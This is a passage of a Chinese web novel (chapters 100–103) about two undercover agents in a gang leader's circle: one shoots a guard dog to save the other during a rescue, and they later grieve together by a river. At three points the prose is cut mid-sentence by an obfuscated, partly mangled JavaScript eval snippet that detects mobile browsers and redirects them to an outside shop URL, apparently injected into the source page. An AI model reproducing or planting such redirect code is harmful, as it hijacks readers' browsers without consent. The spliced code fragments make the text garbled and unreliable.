况且林裕对晏行铮的评价一直都是出手狠辣，所以晏行铮的此举符合他平常的行事风格，也并未引起怀疑。 这件事情之后，容清洛告诉林裕，她不想再遇到像这样被枪指着，却无能为力的时刻。 林裕便重新给她配了一把枪，还专门让晏行铮来教她。 容清洛那时已经成为线人，当然要在林裕面前避嫌。 于是她便故意挑剔晏行铮，质疑晏行铮看着像是个小白脸，能有什么真本事。 当时，林裕是这么说的：“我手下这些人里面，无论是赤手空拳比试身手，还是拿上家伙舞刀弄枪，没有人比得上阿铮。就连射击，阿铮的水平也无出其右，百发百中更是小意思。” “让他来教你，绝对不委屈你。” 第一次和晏行铮到训练场，晏行铮先让容清洛自己对着靶子打着玩，似乎是因为被老大硬逼着过来给女人上课而不满，只坐在一旁擦枪。 后来林裕来了一趟，晏行铮才起身，从容清洛手里拿过枪来：“看好了，枪可不是你那样开的。” 他随手对着远处那一排靶子连开数枪。 皆中红心。 林裕走后，晏行铮打算向容清洛解释自己这样做的原因。 容清洛未等他说出口，便道：“我懂，晏先生。” “你这样做，比较符合你不喜欢跟女人打交道、且一心只想干事业的人设。” “既打消林裕往你身边塞女人的念头，也防止我俩关系暴露。” “我说的没错吧？” 晏行铮点头，表示孺子可教。 表面工作做了一番之后，晏行铮开始认真教她。 晏行铮是名师。 容清洛经由晏行铮教导了一阵子，虽说不至于变成高徒，但是射击水平进步很大，准头提升不少。 不过，对容清洛而言，她通常只是将射击课当作掩护她与晏行铮接头的借口，她从未想过，有朝一日她会在实战中真的开枪。 而今晚，这个技能便会派上用场。 但她心里还是有些打鼓。 以她的水平，她真的能救下晏行铮吗？ 100. 无名月色 容清洛压下心底的紧张和忐忑。 她必须要冷静，枪才拿得稳。 容清洛一面隔着花窗观察着内院中的情况，一面思索着对策。 有手电筒的灯光朝着围墙打过来。 在那光束扫过花窗的前一秒，容清洛迅速矮下身子，紧紧贴住墙壁。 因为蹲着，视线较低，容清洛意外瞧见对面灌木丛间竟然躺着一个人。 那人一动不动，仿佛死了一般。 待那队保镖离开后，容清洛小心上前，将手置于那人的鼻下。 还有呼吸，只是昏迷。 容清洛松了一口气。 她将这人从灌木丛中拖出来，这才发现，这人身上穿着的制服与刚刚那些巡逻的人一模一样。 估计这人应该也是萧家的保镖，只是不知因何原因被人打晕在这里。 容清洛注意到，这个保镖身上有对讲机，也有枪。 没有过多犹豫，她迅速打开手包，从里面取出一副常备的手套戴在双手上。 隔着手套不会留下指纹。 容清洛迅速将那副耳机和那个对讲机从保镖身上取下来。 她隐在黑夜之下的暗影里，把耳机戴上，尝试着打开对讲机。 频道里不断地传出说话的声音。 那是保镖们在彼此交换着此时内院里各个区域的情况，包括藏獒被解开绳索以后的动向。 这可真是意外之喜。 容清洛打算根据对讲机里实时更新的位置去截杀那只藏獒。 起身时，目光再次扫过保镖身上的那把手枪。 容清洛顿住。 其实，今天她带出来的这把枪并不是林裕之前给她专门配备的那把。 容清洛今天本来想拿她平常训练用的枪，那把枪是消音枪，且她用起来更习惯一些，可林裕却不让。 虽然不知道原因是什么，但是林裕此举有异。 不寻常的行为里，必定掩藏着不为人所知的秘密。 不同的是枪吗？ 不是。 是林裕想要通过不同的枪获取什么信息。 这把枪极有可能被林裕动过手脚。 只要她今晚动了林裕给的这把枪，哪怕她之后把子弹补齐，估计林裕也会发现。 看来，林裕是想知道她今晚到底会不会开枪。 但关键在于，她一个弱女子，今晚会在面对什么事情的情况下开枪呢？ 林裕知道这个又想做什么呢？ 她和萧家的人又都不认识。 不。 容清洛突然意识到，在林裕眼中，今晚的萧宅之内，除了林裕自己，她相对熟识一些的人还有一个。 那便是晏行铮。 如此看来，林裕的试探恐怕与正在执行任务的晏行铮有关系。 莫非林裕是想试探她和晏行铮到底关系如何，试探她和晏行铮之间有没有传递情报？ 想起前段时间林裕突然和她提起，如果在外面被问到和他的关系时，只说是老板和员工即可，其余都推到晏行铮身上，说她和晏行铮才是男女朋友。 当时容清洛以为林裕这样做是出于忌惮吴家的缘故，如今想来，也许这是林裕在为今晚引爆萧家埋下引线。 林裕想在宁川市一家独大，萧家便是他的眼中钉。 今晚这场宴会，她和晏行铮，都只是林裕的棋子。 也许林裕故意派给晏行铮一个很难完成的任务，晏行铮如果完成了，那当然好，最后得利的还是林裕。 可如果晏行铮没能完成那个危险重重的任务呢？ 那晏行铮必定会在萧家出事。 而容清洛如果和晏行铮关系匪浅，那么她为了救晏行铮，两人很有可能一起死在这里。 若是容清洛不出手，她虽然能通过林裕对她的试探，但晏行铮出事的可能性会更高。 不论怎样，今晚晏行铮必定在生死一线的边缘徘徊。 但林裕不会承认是他派晏行铮来萧家图谋不轨，反而会拿晏行铮以及有可能被牵扯进来的容清洛一起做幌子，用他二人之死作为对萧家进行打击的导火索，然后借此侵吞萧家。 所谓冲冠一怒，都是借口。 兄弟手下，皆为棋子。 但这个方案变数太多，林裕应该只是试探着走一步看一步。 反正不管结果如何，他都总有收获，不会吃亏。 容清洛不由得冷笑。 谁让他赌的，都是别人的命呢。 既然如此，只要今天晏行铮不出事，且容清洛没用林裕给的枪，戏台没搭好，林裕自然也就不会进行下一步动作，她和晏行铮就安全了。 不过真没想到，平日里林裕看起来挺信任晏行铮的，但是在要牺牲晏行铮当棋子的时候，他也是真不手软啊。 林裕这样做，不见得真的就有怀疑晏行铮是卧底的心思。 实在只是因为他本就多疑，且他只看重他自己。 可无论林裕心里到底对晏行铮有多少疑虑，哪怕只是一分一毫，她都要替晏行铮将这道缝隙给填补上。 “我只要你能活下来。” 容清洛在心里默默告诉自己。 思及此，她不再犹豫，果断取下保镖的枪。 她卸下弹匣检查装弹情况。 很不错，弹匣是满的。 接着，容清洛拉动套筒，检查枪膛，有条不紊地将弹匣重新装入。 既然她不能用林裕给的枪，那便用萧家保镖的枪。 估计这个保镖也是在晏行铮潜进内院之时被敲晕的。 他放倒人，反而便宜她来捡枪。 而她又用捡来的这把枪来救他。 救下他以后，他才能继续帮助她完成后续的复仇。 究竟是谁在救谁，谁在渡谁呢？ 很难说。 但不论谁是谁的因，谁是谁的果。 不论再多的分析与权衡。 容清洛无法否认，在理性的考量之下，夹杂着她的一份私心。 她不希望晏行铮出事。 今晚，她绝对不能让晏行铮受伤。 她相信，若仅论晏行铮的身手，那藏獒和那些保镖加在一起也未必是他的对手。 但若加上外界的各种因素，以及无人能够预料到的意外，那可就说不准了。 现在不是晏行铮打得过他们就行，而是晏行铮的身上不能出现任何能暴露他真实身份的伤痕。 容清洛现在就担心，晏行铮今晚除了林裕派给他的事情要完成，恐怕还担着一些上级给的真正任务。 如果被林裕知道晏行铮做了一些违背他意志的事情，晏行铮无法和林裕交代。 万一晏行铮被藏獒咬伤，或者被保镖用枪伤到，更是会多出一丝在林裕面前暴露的风险。 容清洛绝不允许这样的情况发生。 “晏行铮，我不会让你死在这里的。” “一定要再坚持片刻，等我找到你。” 容清洛在保镖身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578051|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现一幅萧宅地图。 她根据对讲机中藏獒不断变换的位置，对照着地图进行研究。 最终她推断出，晏行铮若要在完成任务后顺利撤离，他极有可能会从侧门离开。 这一点，她能想到，萧宅内追踪晏行铮的保镖们应当也能想到。 侧门附近此时恐怕已经布下天罗地网，只等晏行铮过去，便可瓮中捉鳖。 容清洛需要想办法把那些人引开。 只是，此时要赶去侧门恐怕有些来不及，而且后院之内到处都是保镖，很容易被发现，她开枪后也不好脱身。 容清洛决定在地图上找一个制高点，视野开阔，便可以眼观六路耳听八方，占住先机，帮上晏行铮的几率也高一些。 她的目光正焦急地在地图上寻找着合适的位置，对讲机中忽地传出一道格外焦急的声音：“报告队长，地牢里那个检察院的人跑了！” 立即有人回应：“那人受了重伤，跑不远。立刻封锁萧宅正门、侧门、后门，今晚，一只苍蝇也别想飞出去。” 电光火石之间，容清洛突然明白，也许今晚晏行铮真正的任务，便是营救地牢中的那个人。 此时，晏行铮肯定带着那个人，准备要逃出萧宅。 增加一个人，便是增加一分变数。 林裕是否早就知道萧宅中关押着检察院的人，今晚就想看看晏行铮是否会去救人呢。 那么，林裕派给晏行铮的便肯定不是这个任务。 在众人眼里，今晚从萧宅带走地牢中人的那个人，不能是晏行铮。 既如此，为了避免晏行铮暴露，容清洛更加不能让他受伤了，起码不能让他被藏獒咬伤。 此时萧宅保镖发现地牢里的人跑了，出动更多的人在后院搜查。 想到晏行铮此刻既要躲保镖、躲藏獒，还要带着重伤之人一起逃出守卫森严的萧宅，容清洛知道晏行铮的处境必定十分艰难。 而她想要杀藏獒，引开保镖，救下晏行铮，并且全身而退，也实在是不容易。 一定要冷静下来，好好想想，一定有办法的。 容清洛打开手包，检查里面是否有能派上用场的东西。 摸到一盒火柴，这是她用来给林裕点烟的。 容清洛眼神微闪。 她踏上曲折蜿蜒的石板路，走进内院。 根据地图，她朝着远离前院宴客厅以及后院侧门的方向走去。 萧宅的内院里包含诸多小园，每个小园子间由曲廊相连。 容清洛来到一处没有房屋的花园，趁着四周无人，依次点燃多根火柴，扔进园内。 确认火舌窜起，有白烟滚滚飘向半空中，容清洛转身离开。 这园子内无人，不会造成人员伤亡，但是萧宅内肯定会立马派人来救火，这应该能暂时替晏行铮分担一部分火力。 接着，容清洛根据地图，沿着最近的小路行走，很快来到内院的竹园。 竹园的位置距离侧门和前院都不算远，但也没有那么近，因此这里没什么看守的人。 园内的角落里有一座位于假山之上的凉亭。 这座凉亭具备一定的高度，视野宽广。 且亭外茂林深篁长势甚好，竹枝几乎与假山上亭台的屋檐平齐。 容清洛藏身亭间，身形被竹林影影绰绰地遮掩住，外面的人轻易瞧不见她，但她却可以瞧见园外路上的情形。 对讲机的耳机里传来一部分保镖被调去救火的命令，容清洛心中稍定。 101. 无名月色 月上竹梢。 今晚，恰好也是满月。 容清洛立于亭中，持枪戒备。 高耸挺立的竹子拔地而起。 竹枝随风摇曳，覆盖满园成茵。 亭身隐于其间，飞檐流角在来自天际的疏朗月光下折射出琥珀般的莹润质地。 竹林遮挡住容清洛的身形，却未挡住自竹叶缝隙间倾泻而出的溶溶月辉。 一切似乎都很美好。 但实际上，容清洛明白，今晚她和晏行铮能否绝处逢生，就看此刻。 婆娑竹影里，暗影与微光同时交织在容清洛神情凝重的脸上。 对讲机中不断报出的位置距离此处越来越近。 她凝神细听。 蓦然响起的一声藏獒吼叫，裹挟着威压，刺破这一隅的宁静。 凌乱的脚步声随之而来。 急促的呼吸声飘荡在空气中。 容清洛仔细分辨踏在地面上的步履声响。 大队人马的喧嚷声尚在远处。 快行至近前的只是一人一兽。 容清洛屏住呼吸。 她迅速地拉动套筒，子弹上膛，将枪口对准距离亭子不远处的岔路口，密切注视着周遭的情况。 第一个出现在容清洛视野里的人是晏行铮。 他背上的那个人好像已经完全昏迷过去。 还没等容清洛看清楚那人的情况，一道迅猛的黑影从晏行铮身后那条路的暗影里窜出。 那是一只纯黑色的藏獒，高大凶猛，令人望而生畏。 可向来在刀口舔血的战士早已习惯了血性的拼杀，对此无所畏惧。 狭路相逢勇者胜，既然已经逃不脱，晏行铮将背上的人放在路边，迎着扑面而来的藏獒打出数道飞拳。 从容清洛的角度望过去，一人一兽在周旋打斗间，藏獒巨大的身躯被晏行铮遮挡住一部分，她不好开枪，怕误伤到晏行铮。 于是她只能不断地调整着位置，寻找射杀的最佳时机。 曾经在培训中、在训练场上，晏行铮教给容清洛胆量、胆识、胆略。 他说，做这一行的，要有端正纯粹、赤胆忠心的品德，信仰坚定、九死不悔的灵魂，更要有素质过硬的本领，英勇顽强、不怕牺牲的血性，视死如归的战斗意志，以及大无畏的英雄气概。 而今在真实的对抗中，她才真正对此有了些许领会。 容清洛看见英勇善战之人在险象环生时刻的冷静与定力，看见他无畏出击，看见他勇猛果敢，看见他锐不可当。 藏獒被揍得后退，脱离晏行铮的遮挡，暴露在容清洛的枪口范围内。 只见那藏獒因疼痛而怒嚎，再次跃起，向晏行铮扑去。 容清洛眯眼。 她移动枪口。 瞄准藏獒的双眼与眉心。 扣动扳机。 连贯的动作发生在转瞬之间。 三道枪声响起。 砰。 砰。 砰。 三枚子弹穿越空间。 穿过被银白月光铺满的深绿色竹叶。 穿过围墙内外交融的暗影与光亮。 穿过料峭春夜里的寒风。 穿过这迷人却也危机四伏的漫天夜色。 最终，穿透那藏獒的皮肉与头骨。 三枪皆中。 藏獒应声而倒。 晏行铮已经做好和这紧追他不放的藏獒殊死搏斗的准备。 实际上，他也已经这么做了。 哪料三道不知从何处而来的枪声响起，藏獒猛烈的攻势戛然而止。 近在咫尺的血盆大口。 锋利瘆人的利齿獠牙。 奔腾在空中的巨大躯体。 都在顷刻之间，轰然倒地。 激起地上尘埃的刹那，也激荡出晏行铮胸中那一刻难以言表、不可名状的奇妙情绪。 好像有什么东西，击中了他的心。 仿佛神之一笔。 恍若天外来客。 那是本不该出现在这里的人。 也是本不该发生在这里的事。 却实实在在地出现了，确确实实地发生了。 是谁，射出那三发子弹。 是谁，挽救他于危难。 是谁，在暗处拔刀相助。 是谁，在生与死的时刻，给予这极致的安全感。 那子弹穿透一切最终所打中的，究竟是倒下的藏獒，还是站立着的他。 回忆起刚刚电光火石之间印刻在脑海里的子弹来路，晏行铮顺着那个方位，望向一旁被围墙遮挡住的院落。 竹林掩映之间，露出一角飞檐。 仿佛心灵感应一般，他霍然明白一切。 此刻在萧宅之中，能这般帮助他的，唯有容清洛。 容清洛射击的能力是他一手训练出来的。 她有这个水平。 晏行铮唇角露出他自己都未察觉的极淡微笑。 他脚下的石板路与这一面墙，笼罩在路灯的光亮之下。 透过花窗却只能隐约瞧见园内的扶疏翠竹。 大片的竹林与林后假山之上的小亭被暗夜的黑影所包裹。 那片朦胧的暗色里，晏行铮什么也看不清。 可莫名地，晏行铮能感受到，容清洛就在竹林之后，就在飞檐之下。 隔着混沌的月色，与他遥遥相望。 她仿佛李白诗中描写的刺客一般——“十步杀一人，千里不留行。事了拂衣去，深藏身与名。” 是他可以绝对信任、可以托付后背的存在。 晏行铮抬起右手，注视着那个方向，敬了一个标准的礼。 脑海中思绪纷飞，一切也只不过发生在弹指之间。 清冷注视着世间万物的那轮皎洁明月，照耀着此间一切，明晰着那无人知晓的怦然心动。 晏行铮没再浪费时间，重新将地上之人背起，转身继续往萧宅的侧门方向奔去。 望着晏行铮的背影，容清洛擦掉额头上滴落的汗珠。 还好，她反应不算慢，终于将这藏獒射杀。 然而险境还未结束，危机还未彻底解除。 几乎是晏行铮消失于她视线中的下一刻，便有一群人的脚步声纷至沓来。 追踪晏行铮的保镖们将至，埋伏在萧宅暗处的人也都在往这边赶来。 容清洛没有分毫犹豫，猛地抬腕，持着手枪对准与晏行铮逃跑路线截然相反的方向，连续扣动扳机。 几盏路灯应声而灭，半条路瞬间昏暗下来。 一个人硬是演出了千军万马的气势。 恰在此时，许多保镖来到这个岔路口，听到那昏暗路面传来的响动，便纷纷朝那个远离晏行铮的方向追去。 容清洛松下一口气，这才发觉自己手抖得厉害。 她扶住旁边的柱子，低头缓了一会儿。 擂鼓一般的心跳慢慢平息。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578052|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 容清洛释然而笑。 她能做的，只有这些了。 晏行铮，你一定要平安。 趁着夜色，容清洛因为能听见对讲机里的各种命令，得以避开多队保镖，顺利逃出后院。 她把枪和对讲机放回那位昏迷的保镖身上，然后潜回宴客厅，在卫生间整理好仪容，回到林裕身边。 *** 许是因为快速奔跑有些颠簸，晏行铮背着的人醒来。 发觉背上动静，晏行铮一边狂奔，一边轻声宽慰他：“你放心，我会带你走出去的。” 那人只是沉默。 平叔的人控制住守在萧宅侧门的保镖们，成功接应晏行铮和其所救之人。 二人刚坐进后排，车便如离弦的箭一般飞出。 被救的那人认出驾驶座上正在开车的人是他的同伴，这才相信晏行铮和他是一边的人。 那人沙哑虚弱的声音在车内响起，他先是说了一长串地址，然后才道：“能把萧家扳倒的材料，我藏在那里。我早就撑不住了，现在还能喘气，无非就是想把这个消息传出来。如今我是真的支撑不住了，你们一定要去把材料取回，交上去，萧家必倒。” 然后他看向晏行铮：“没想到林裕身边的铮哥竟然是我们的人。谢谢你救了我。” 说罢，这人便在晏行铮怀里断了气。 晏行铮轻柔地为怀中人阖上双眸。 路灯透过车窗，照亮他眼角一抹晶莹的泪珠。 他们都是用假身份示人的人。 那么此刻—— 是谁，在为谁，悲伤。 晏行铮降下窗户，清风吹拂进车内，搅动闭塞的悲恸。 没能留下姓名的人，便由这寒夜春风相送吧。 *** 这晚，在萧宅的暗处，经历着足够惊心动魄的逃亡与追捕。 宴饮却丝毫并未被打断。 宴会结束，林裕带着容清洛早早离开。 二人回到林裕的别墅时，晏行铮早已在那里等候着林裕。 林裕：“东西拿到了？” 晏行铮：“是，拿到了。” 林裕和晏行铮在书房聊到很晚。 容清洛因为临时有通告要赶，第二天上午需要坐飞机离开宁川市，去外省录制节目，所以给林裕发过信息之后，便在林裕司机的护送下回到自己的住处，准备连夜收拾行李。 她的助理和保镖都是林裕的人。 等这些人也离开以后，容清洛收拾好行李，已经将近晚上十二点。 容清洛却没有丝毫睡意。 晚上她虽然在林裕那里碰见了晏行铮，却只是匆匆一眼，瞧不出来他到底受伤没有，也不知道林裕会不会怀疑他。 容清洛躺在床上，脑海里反复出现与晏行铮擦身而过的那个瞬间。 林裕走在前面，没有看见。 但是她一直默默注意着晏行铮，她看得很清楚，没有错过他低头的一刹那，在表面不羁的神情下，深藏着的、那一闪而过的浓重悲伤。 容清洛从没见过这样的晏行铮。 他离开萧宅之后，必定发生了什么不得了的事情，否则他不会这样。 容清洛最终还是从床上坐起来，换好衣服，戴上墨镜和口罩，绕过楼外的盯梢，从车库开出一辆并未在她名下的车。 这是由她出钱，让吴焕晗替她买的车，林裕并不知道。 恰好可以用于不想被人发现的秘密出行。 102. 无名月色 深更半夜，容清洛想要去晏行铮可能出现的地方碰碰运气。 驱车抵达九川江畔的时候，时间已至凌晨。 夜幕低垂，寒江暗涌。 这方天地，很安静。 甚至有些过分的寂静。 不过，在容清洛看来，对于她和晏行铮这种早已习惯在暗夜中行走的人而言，也许只有这样寂静无人的深夜，才是独属于他们真实自己的时刻。 在人前，他们始终是需要伪装的。 在其他人面前戴面具，是为了安全，是为了能够在这样的环境中生存下去。 但是在对方面前，似乎无论自己展现出什么样子，都是安全的，都是绝对不会遭受到背叛的。 在这个一举一动皆是谎言的环境中，好像只有在彼此面前，他们才可以不必戴上这样虚假的面具。 甚至哪怕在对方面前戴面具也没有关系，因为在这所有的虚假之中，他们可以拼凑出对方的真实。 这是彼此在这个虚假的世界里，唯一能够触碰到的真实。 也是容清洛想要守护的一份真实。 在宁川市，很多地方都可以看到九川江，容清洛把车开到上次晏行铮带她来过的地方。 停车的时候，她看见一辆熟悉的车。 那是晏行铮私下里接头时会开的车，同样不为林裕所知。 在这一刹那，容清洛难以克制地心旌摇曳。 其实他们，真的还算挺有默契。 容清洛穿过停车场，向江边走去。 没有搜寻太久，容清洛果真在步道上瞧见晏行铮慢慢踱步的背影。 容清洛想要上前，却又有些不知道，究竟应该如何向晏行铮解释，自己深夜出现在这里的原因。 可以直接说，是因为自己很担心他吗？ 她不敢。 他是她不肯示人的心动，也是她不敢显露的倾慕。 能和他有一场生死交织的羁绊，已经足以令人满足。 她并不贪心，多的也不会去奢望。 这点难以诉说的眷恋，只需要存放在她的心间即可，不需要他知道。 江边的步道和公路旁的人行道之间隔着一排高高的树木。 这道由草木构筑的天然屏障，像一道天堑，将这里划分成泾渭分明的两个区域。 她在这一边，晏行铮在那一边，而她不敢轻易逾越这条线。 容清洛走在人行道上，隔着那排树木，只远远地保持着晏行铮的背影一直出现在她的视线里，却始终没有与他靠得太近。 这片刻的宁静，她不想打扰他。 默默隔着三四十米的距离，一同朝着一个方向行走着，就好像她在和他一起散步。 今夜，晏行铮不需要知道她来过。 她不抱希望地来他可能出现的地方寻找他，并不是想和他说些什么。 只不过是在生与死的时刻之后，想看见他还安全，看见他还健康。 这安的，其实也只是她自己的心。 哪里料到，这么晚了，竟然有人在江对岸放烟花。 烟花点亮半个苍穹的时刻，容清洛仰望着那绚烂绽放的美妙花火，没注意路边的石子，一脚踢了上去。 这声响在烟花的背景当中，其实并不十分明显。 可晏行铮很警觉。 他忽然扭头，凌厉的目光像探照灯一般精准地射向容清洛所在的方位。 容清洛不知怎的，下意识的第一反应竟然是闪身躲在一旁。 她暗自在心里骂自己没有出息，却已经失去了出现在他面前的最好时机。 晏行铮望着这边片刻，目光渐渐升温，却没有过来察看。 容清洛觉得，晏行铮应该发现是她了。 因为他沿着步道行走的速度明显地放缓。 容清洛犹豫一番，还是在下一个路口穿过那排绿植，来到晏行铮身后。 晏行铮脚步微顿，驻足片刻，似乎是想要回头，最终却只是继续向前。 两人就这样隔着十来米，一前一后地，缓缓漫步在这静谧的九川江畔。 他知道，身后的她，一直在。 她知道，前方的他，知道她在。 容清洛记得，晏行铮曾经说过，他悲伤的时候，会一个人来九川江边哭泣。 之前，她只当这是他安慰她的玩笑话。 可现在她却觉得，这也许是真话。 而容清洛，想分担他此刻的悲伤。 却并不知晓他是否愿意。 今夜不知为何，温度格外低。 冷风吹过，容清洛将上衣拉链拉到顶，却还是没忍住打了个喷嚏。 听到动静，晏行铮在背风处停下脚步。 他侧过身来，将手搭在木栏杆上，眺望江面。 春夜的九川江浩浩汤汤，奔流不息。 江水滚滚东流而下，远处墨色的水光连接着漆黑的天幕。 一轮明月从天际升起，映照在江面上，好似和远山一起随着波涛涌出。 月辉洒在江对岸的石矶之上，风清月白，远山苍莽。 晏行铮从兜里取出打火机，点了半天，却没点着，索性只在指间夹着烟，靠在木栏杆上，不知想起什么，眼眶慢慢湿润。 容清洛上前，从晏行铮手里接过打火机，为他小心地点上烟。 半晌，晏行铮才转头：“你来了。” 没有人问对方为何会出现在这里。 心照不宣，心有灵犀，这一刻，什么都不需要问，只需要陪伴。 四面皆敌，人人伪装，两人是彼此在这样的情况之下，唯一可以不问缘由，不问任何情况，毫无条件地，纯粹地，信任对方的人。 “是，我来了。”容清洛也靠在栏杆上，看向青年，“原来你那时候不是在安慰我，你是真的会在夜里一个人来九川江边哭泣。” 她活跃气氛道：“清洛也是见过晏先生哭鼻子的人了，晏先生会灭口吗？” 晏行铮看向容清洛。 一切都好像和以前一样，但又好像不一样。 容清洛依旧面上看起来像是一个弱女子，但晏行铮知道，今晚，就是这个看起来娇弱的女子，躲在暗处，开了三枪，救下他。 关键时刻，她从来没掉过链子。 晏行铮：“把你灭口了，以后在逃亡路上，谁来救我呢？” 他吐出一口白色烟圈，将剩余的烟熄灭，扔进一旁的垃圾箱。 回身走到容清洛面前，晏行铮认真问道：“那三枪，是你，对吗？” 容清洛仰起头，望进晏行铮的眼睛：“何以见得？你看见了开枪之人的脸？” 晏行铮摇头：“没有。但你的枪法是我教的，很好认。” 容清洛莞尔：“是我。” “谢谢。”晏行铮讲得十分郑重。 “我们之间，还需要道谢吗？”容清洛，“我说过，我也会是你的力量。” 晏行铮：“你做到了。” 容清洛唇边漾起愉悦的笑意：“我今天那几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578053|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枪，打得准吗？” 晏行铮：“准。” 容清洛向前迈步，靠近晏行铮的脸庞：“那我可以和老师要个奖励吗？” 晏行铮：“你想要什么奖励？” 容清洛：“我想要，晏先生的一个微笑。” 晏行铮疑惑重复：“我的……微笑？” 容清洛：“是。” “我想要晏先生的微笑，不是一个微笑，而是很多很多个微笑。” “今天晚上在萧宅，看着你和藏獒搏斗，看着你被那么多人追杀，我当时真的很害怕。” “害怕你出事，害怕你暴露，害怕再也见不到你。” “此时此刻，我的心中充满疑惑。” “我们是走在同一条路上的战友，是并肩作战的同伴。” “可我却——” “不知道我的同伴今晚的行动是否顺利。” “不知道我的同伴今晚在和林裕汇报时是否有被怀疑。” “不知道我的同伴今夜到底在为何而悲伤。” “不知道我的同伴今后会何去何从。” “所以，我现在特别需要我的同伴给我一个微笑，这能让我放松下来，让我不要再胡思乱想，让我知道接下来的路，是否还能和我的同伴一起走下去。” 晏行铮微怔，沉默几秒，他颇为僵硬地提起两边唇角，露出一个标准的微笑。 然后一个问题一个问题地给出回答。 他道：“今晚的行动，还算顺利，但最后的结局，有些悲伤。” “幸好有你，所以没被怀疑。” “这条路，我会继续和你一起走下去。” “所以不要害怕，不要彷徨，我会一直都在。” 说完这些，晏行铮着重强调其中一个被他跳过的问题：“你想要懂我的悲伤？” “是。”容清洛，“你是陪我看过月色之下九川江水的人，你曾分担过我的痛苦。” “如今，作为回报，我也可以分担你的悲伤。” 晏行铮讳莫如深。 容清洛也没有强求，只是问道：“今晚的最后，人成功救走了吗？” 晏行铮：“救走了。” 容清洛疑惑：“既然如此，晏先生为何而悲伤？” 晏行铮语气低沉：“因为没活成。” 容清洛失语。 晏行铮：“我今天能救出那个人，其实也有你的功劳。” “可惜，他最终还是没活下来。” 容清洛：“为什么？你们在逃出萧宅的过程中出现意外了吗？” 晏行铮：“没，因为有你的暗中帮助，逃出的过程很顺利。” “可他的伤势太严重，在见到自己人，把最重要的信息传递出来以后，他没撑下去，还未到医院，人就这样没了。” “确实是个悲伤的结局。”容清洛叹气，“请节哀。” 晏行铮：“我在想，他死前会不会有不甘。” “可他死的时候，嘴角是带着笑的。” “我甚至连他真实的名字都……不能知道。” “他就这样牺牲了，我明明很悲伤，却还要装成没事人一样去向林裕复命，去应付林裕的各种试探和怀疑，因为我不能暴露。” “而以后，我不会再见到他，我甚至不会知道他被埋在哪里。” 容清洛：“你已经尽力了。” 晏行铮：“是。” “不过——” “也许他的现在，就是我的未来。” 103. 无名月色 容清洛：“你不会和他一样的。” 晏行铮：“不，我和他，我们是同类人。” “如果有一天，我死在任务上，那这就是我的归宿，我会坦然接受，和他一样，笑着离开。” 容清洛若有所思：“晏先生是因为想到自己也会死亡，所以这般悲伤吗？” 晏行铮：“人都是会死的，这倒不会让人太过痛苦。” 他将手握成拳，置于左边心口：“只是这里——” “有对战友死亡的无力。” “有不被认可的悲戚。” “有被误解的难过。” 容清洛：“就没有对未来的迷惘吗？” “不会去想这种日子究竟什么时候才能够结束吗？” 晏行铮有问必答：“没有，不会。” 容清洛：“为什么？” 晏行铮：“因为这是我自己选择的路。” 容清洛：“值得吗？” 晏行铮：“对国家的忠诚，对使命的担当，矢志不渝，九死无悔。” 容清洛：“真羡慕你，你有万事万物都不可动摇的信仰。” “既然如此，为何还要悲伤呢？” “请不要悲伤。” 晏行铮：“为什么？” 容清洛轻笑了一下。 因为你的悲伤，会刺痛我的心。 但这句话，只会如这寂静的深夜一般无声地埋藏在她心底深处，小心地被存放，不会轻易地被人挖掘和显露。 晏行铮看向容清洛。 容清洛道：“我希望你无畏地走下去。” “有我在的日子里，我不会让你这样死去。” “因为我说过，我也会成为你的力量。” 与你共渡风雨。 陪你共历生死。 晏行铮深深呼出一口气：“你知道吗，其实我今天去地牢里救人的时候，他一开始并不相信我。” “他不相信我是警察。” “他认为，我只是晏行铮。” “你说，我究竟是谁？我是人？还是鬼？” “这种悲伤，你能理解吗？” 晏行铮在她面前，向来是意气风发、神采飞扬的。 很多时候，都是他在救她。 可在这个时刻，他露出了一丝颓唐。 容清洛抬手为晏行铮整理微乱的衣襟。 看见他冻得通红的耳朵，容清洛取下自己的帽子，踮起脚尖，将帽子扣在他头上。 晏行铮没有抗拒容清洛的动作。 容清洛做完这一切，后退一步，才缓缓开口。 “四面皆敌，人人伪装。” “一举一动，皆是谎言。” “我们的处境这般相同，你觉得，我会不懂吗？” 容清洛自嘲一笑：“在这样的环境里，我却总想着，在这虚假的表象之下，拼凑出真正的你。” “因为你能理解我，你会保守我的秘密，你可以和我并肩战斗。” “你看见了我，所以我也想要看清你。” “你愿意让我看见吗？” “我不知道你把我当做什么，但在我心里，你是生死之交，志同道合。” “既然如此，我怎么会不懂你，又怎会对这相似的处境无法感同身受呢？” “走进暗夜，你放弃的是姓名，身份，名誉。” “我献祭的东西，除此之外，还有容貌、身体……” “你在为这些瑕疵而感到悲伤和痛苦吗？” 